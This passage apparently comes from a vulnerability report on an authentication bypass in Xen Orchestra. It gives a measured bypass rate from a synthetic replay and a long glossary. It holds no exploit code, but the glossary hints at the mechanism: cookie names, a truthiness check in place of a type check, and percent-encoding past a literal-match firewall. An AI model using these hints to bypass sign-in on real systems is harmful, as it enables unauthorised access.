The author replayed the shipped parser and lookup code against a synthetic store: 26 of 36 requests authenticated, three blocked. That framing, a measured bypass rate against the vendor's own published rule rather than a single proof of concept, is what makes the gap between the warning and the control concrete. A proof of concept is a single demonstration that a bug can be triggered. The report is explicit that nothing was executed against a real instance, so the result is a property of the code path, not a scan.
Glossary
- API: a fixed way for one program to send requests to another and get answers back.
- Artefact: a trace left on a machine after a break-in, such as a file or a running process.
- Authentication: the process of proving who you are, usually by signing in.
- Authentication bypass: a flaw that lets someone get past the sign-in check without valid credentials.
- Boolean: a value that is either true or false.
- CISA: the United States Cybersecurity and Infrastructure Security Agency, which keeps the KEV list and sets patch deadlines.
- Cookie: a small label a server gives a browser, which the browser sends back on later requests so the server can recognise it.
- Cookie name: the label part of a cookie, such as
authenticationTokenortoken. - CVE: a public catalogue number for a known vulnerability.
- Debug level: the most detailed setting for logging, usually switched off in normal operation.
- Decoder: a piece of code that turns encoded text back into its original form.
- Deprecated: still working but no longer recommended, usually because something newer replaced it.
- Diff: a format showing which lines were removed and added in a change.
- Dynamically linked process: a running program that loads shared code libraries at startup.
- Exploit: the concrete request or steps that abuse a vulnerability.
- Falsy: a value that counts as false in a check, such as
0,"",nullorundefined. - Index: a lookup table that lets a database find records quickly by a particular field.
- JSON: a text format for structured data, built from objects
{}, arrays[], strings, numbers, booleans and null. - JSON-RPC: a style of API where each request is a structured message naming a function and its arguments.
- KEV: the Known Exploited Vulnerabilities catalogue kept by CISA.
- Library: a bundle of shared code that programs can load and use.
- Literal match: a filter rule that looks for exactly the characters written, with no variation.
- Log: a running record of events that a program writes down.
- Middleware: code that runs on the way in, before the main handler.
- Object: a container of named fields and values, written
{}when empty. - Percent-encoding: a way of writing awkward characters in web text, such as
%7Bfor{. - Pool: a group of physical servers that work together to run virtual machines.
- Proof of concept: a single demonstration that a bug can be triggered.
- Protocol: an agreed format for messages between programs.
- Proxy: a server that sits in front of another and forwards requests to it.
- Recon: the early looking-around phase of a security review.
- Redis: a fast in-memory storage system, used here to hold login tokens.
- Regression test: a test kept in the codebase to make sure a fixed bug stays fixed.
- REST API: a style of API where each request goes to a web address and the answer comes back as data.
- Rotate: to replace a credential with a new one so the old one stops working.
- Scalar: a single simple value such as a number or a string, as opposed to a container.
- String: a piece of text.
- Token: a long random string that stands in for a password after sign-in.
- Token provider: the internal checkpoint that looks up a token and signs the caller in.
- Truthiness check: a test that asks "is there something here?" rather than "is this the right kind of thing?".
- Type check: a test that asks whether a value is of the expected kind, such as a string.
- Validator: a checker that inspects incoming data and rejects anything of the wrong shape.
- Virtual machine: a computer simulated in software, running on a physical host.
- WAF: web application firewall, a filter in front of a web server that blocks requests matching patterns someone wrote down.
- XCP-ng: a free server platform that runs virtual machines, managed by Xen Orchestra.
- Xen Orchestra: a web console for managing XenServer and XCP-ng pools.
- XVA: a file format for exporting and importing virtual machines.